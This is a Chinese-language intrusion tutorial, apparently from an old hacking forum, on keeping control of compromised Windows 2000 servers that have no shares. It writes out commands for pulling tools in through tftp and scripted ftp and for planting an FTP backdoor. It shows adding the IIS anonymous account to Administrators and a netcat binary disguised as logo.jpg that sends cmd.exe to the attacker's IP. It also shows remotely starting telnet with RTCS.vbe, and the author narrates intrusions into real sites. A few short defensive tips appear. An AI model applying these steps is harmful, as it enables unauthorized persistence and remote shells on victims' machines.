无共享主机的一些长期控制办法与防范
——上传下载、突破防火墙与后门架设
一、文件的传输:
以下所述方法都是在远程主机没有开启共享的条件下实现的。
1、 打开共享
使用IDQ、WebDAV等方法对目标进行溢出攻击之后得到system权限,使用net share查看一下共享,发现一个共享都没有打开。没有办法应设对方的硬盘就不方便上传下载文件。
其实最简单的办法就是打开它的共享,
这样,我么就可以映射它的磁盘,实现文件的传输了。
其实要防止这种共享打开是十分简单的,只要网上邻居的属性里面没有添加文件和打印共享就可以实现了。
2、 使用TFTP工具进行文件传输
使用TFTP(Trivial File Transfer Protocol)工具来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的ttfp.exe和一个TFTP服务端软件构成一个完整的传输结构。
一般在溢出的Shell、Telnet的Shell中使用,当然也可以在SQL Remote Execute 里面实现。在这样那些没有开设共享的实现主机上传下载文件的工作就可以有这个传输模式来完成。
首先运行本地的TFTP Server软件并保证始终开启直至传输全部完成, 然后在Shell中运行下面的命令
C:/winnt/system32>tftp –i 192.168.0.1 get abc.exe 上传文件到Shell目标
C:/winnt/system32>tftp –i 192.168.0.1 put abc.exe 下载文件到本地主机
这里你可以在最后面写上你要传送到的路径。
这里要提到的是,如果使用一个Private IP address 你将不能实现与外部网络的文件传送。因为,你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址。所以在外部网络进行MAC寻址是找不到你这台TFTP服务器的。
想避免这样的传输最直接的办法就是将tftp.exe文件删除,另外你可以使用工具修改列表中的tftp端口号(改为0)。
3、 使用本地FTP服务进行文件传输
如果你得到一个Shell,是不能直接远程操作FTP命令行的,所以一般来讲我们都要写一个脚本来实现从FTP主机上下载文件或者上传文件。
使用echo命令来写这个脚本并执行它:
C:/winnt/system32>echo open 192.168.0.1 > ftp.txe
C:/ winnt/system32>echo user:pass@192.168.0.1 >>ftp.txt
C:/ winnt/system32>echo get abc.exe >>ftp.txt
C:/ winnt/system32>echo bye >> ftp.txt
C:/ winnt/system32>ftp –s: ftp.txt
4、 使用TFTP打开目标FTP服务进行文件传输
利用TFTP方法上传一个FTP的后门(例如xftpd.exe,好友Hackerhell推荐),在命令行下面执行它。我们就可以得到一个开设FTP的远程主机。利用浏览器或者是其他工具就可以轻松实现文件的传输。
二、突破防火墙:
防火墙从外面很难突破,就好像一座森严的壁垒,只有使用一些渗透的手段或者其他的一些方式从内部突破,才能真正达到突破防火墙的目的。
有很多渗透攻击的例子,我不能一一列举,事实上我也曾经成功的测试过一些站点,从80端口的渗透攻击是比较常见的,有的是使用溢出攻击、有的是利用页面程序的缺陷进行攻击。
突破防火墙是从内部开始的,但是也要先找到一些可以渗透的端口才可以。我前一段写了一篇文章是记录一次渗透攻击的。我是利用ASP页面身份验证里的一个漏洞成功拿到了一个页面管理的权限,实现了一些上传的功能,并从80端口对该主机进行渗透并获得最高权限的。
TFTP方法事实上就是一种从内部突破防火墙的方法,由于69端口是系统默认可以使用的TFTP服务端口,所以在Shell中提交一个TFTP传输的申请,防火墙是不会拒绝的。这样,我们就可以将一些有价值的东西传送到我们希望它存在的地方。
从80端口突破防火墙是比较常见且比较容易实现的,因为80的访问一般不会被禁止。我曾经做过两次不同的方式但原理相同的突破。使用IDQ溢出得到Shell将ASP木马上传到WWW服务的某个目录下,然后将IUSR_Computername这一IIS访问进程账号加为管理员组成员。随后我将它的IIS服务重新启动
C:/winnt/system32>iisreset
从新回到浏览器中,打开ASP木马查看net session可以,所以证明刚才我所做的一切都有效果了,这样我就在80端口上建立了一个很高权限(Administrators)的Shell。实现了对防火墙的突破。
另外一次是最近的事情,我使用WebDAV对某一主机进行溢出之后,得到system权限,将IIS访问进程账号加为管理员组,上传nc.exe到scripts目录下面并将名称改为logo.jpg,呵呵!由于我没有能够重新启动IIS服务,所以只有等待……第二天我看了看,IIS已经重新启动,而nc也还在,真受不了这样的管理员。FAINT!好了,其实后门就已经架设完成了。在本地命令行输入如下:
E:/>nc.exe –l –p 888 –vv 等待一个连接。
在浏览器里面输入如下:
http://192.168.0.1/scripts/logo.jpg?-e+c:/winnt/system32/cmd.exe+192.168.0.3+888
注:192.168.0.3是我的IP地址。
连接成功,我得到的又是admin的权限,看来那为管理员是重新启动了主机……
防范ASP木马的文章很多,我就不再介绍。对于脚本执行权限的问题,我想只要你会配置IIS就应该不会成问题吧!
上面只是针对80端口渗透突破防火墙的一些思路,事实上还有很多可以实现的突破,例如小叮当那个动画里面利用80端口和PCAnyWhere结合进行的渗透就是非常好的例子。
三、后门的架设:
为了获得远程主机更长时间的控制权,我们需要放置一些后门程序,前面已经有所涉及相信大家也多少有所了解了。但是当没有开启人和共享的时候你要如何放置你的后门程序呢?
大家可能认为,Windows很多服务是基于IPC$的,所以只要关闭该共享,即使得到admin的权限也不会有何作为的,毕竟“没有共享就不能放置后门”。
但是事实并非如此,现在有很多机遇WMI服务的宿主脚本程序,既简单的解决了这样的问题,当然也产生了不少安全的隐患。现在据我所知,有两个vbe的脚本分别可以实现开启远程主机Telnet和Terminal Services的功能。我这里只介绍一下开启Telnet服务的宿主脚本的使用:
这里使用的RTCS.vbe是用来远程开启/关闭目标telnet服务的windows脚本。
特点:不依赖于ipc$开放与否。
原理:直接访问目标的windows管理规范服务(WMI),该服务为系统重要服务,默认启动。
支持平台:Windows 2000 Professional, Windows 2000 server ,Windows XP
使用方法:
在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如
c:/>cscript RTCS.vbe <目标IP> <用户名> <密码> <NTLM验证方式> <telnet服务端口>
其中 NTLM 值可取0,1,2:
0: 不使用 NTLM 身份验证;
1: 先尝试 NTLM 身份验证。如果失败,再使用用户名和密码;
2: 只使用 NTLM 身份验证。
空密码用两个双引号""表示。
脚本自动检查目标telnet服务情况,如果未启动则启动它,相反就关闭。
同一个命令执行两遍,就开/关一次服务。
关闭服务时也必须输入共5个参数,这样可以根据需要还原服务设置为默认值(NTLM=2,端口23)
如果telnet服务被禁用,将自动更改为“手动”。
C:/>cscript rtcs.vbe 202.***.***.*** tsinternetuser ************* 0 23
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
************************************************************************
RTCS v1.08
Remote Telnet Configure Script, by zzzevazzz
Welcome to visite www.isgrey.com
Usage:
cscript C:/rtcs.vbe targetIP username password NTLMAuthor telnetport
It will auto change state of target telnet server.
************************************************************************
Conneting 202.***.***.***....
OK!
Setting NTLM=0....
OK!
Setting port=23....
OK!
Querying state of telnet server....
Changeing state....
OK!
Target telnet server has been START Successfully!
Now, you can try: telnet 202.***.***.*** 23, to get a shell.
C:/>telnet 202.***.***.***
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:tsinternetuser
password:*********
*===============================================================
欢迎使用 Microsoft Telnet 服务器。
*===============================================================
C:/>
成功!
还有一个脚本就是ROTS.vbe是用来开启Terminal services的,我一直没有成功过,所以也不好向大家介绍。
开设后门需要开动脑筋,结合所有自己的技能来实现。比如使用先前提到的上传下载的方式都是可以进行综合利用的,这就要看自己的了……比如突破防火墙里面提到的,我认为也因该算是架设后门的好办法。
上面的三个方面我认为是不可分的,我分开他们是很困难的……所以这篇文章才想了这么久
后记:
今天有人说,写这篇文章绝对有毛病,都得到Shell了,还要这么麻烦……还有人说,这些防范手段有什么用,人家都已经进来了……
其实,得到了Shell还有许多事情要做,要看看这个Shell可以做什么,尽量避免入侵者得到Shell之后的破坏行为……的发生,没办法,第一道防线已经崩溃,就只好留一手来补救一下了。